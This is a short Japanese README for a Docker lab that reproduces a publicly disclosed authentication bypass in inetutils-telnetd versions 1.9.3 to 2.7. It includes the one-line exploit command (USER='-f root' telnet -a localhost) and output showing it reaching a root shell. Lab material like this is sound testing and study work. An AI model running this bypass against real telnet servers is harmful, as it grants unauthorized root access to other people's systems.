oss-sec メーリングリストで公開された、inetutils-telnetd 1.9.3 - 2.7 の認証バイパスを試すための小さなラボです。[0]
このコンテナは、inetutils-telnetd が Debian 11 (Bullseye) ではまだ脆弱なバージョンであるという事実に依存しています。作成時点では、次のとおりでした:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
docker build -t telnetd-exploit . でコンテナをクローンしてビルドします。
docker run --rm -it telnetd-exploit でコンテナを実行します。PoC を示すメッセージが表示されます。
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
成功した実行は次のようになります:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#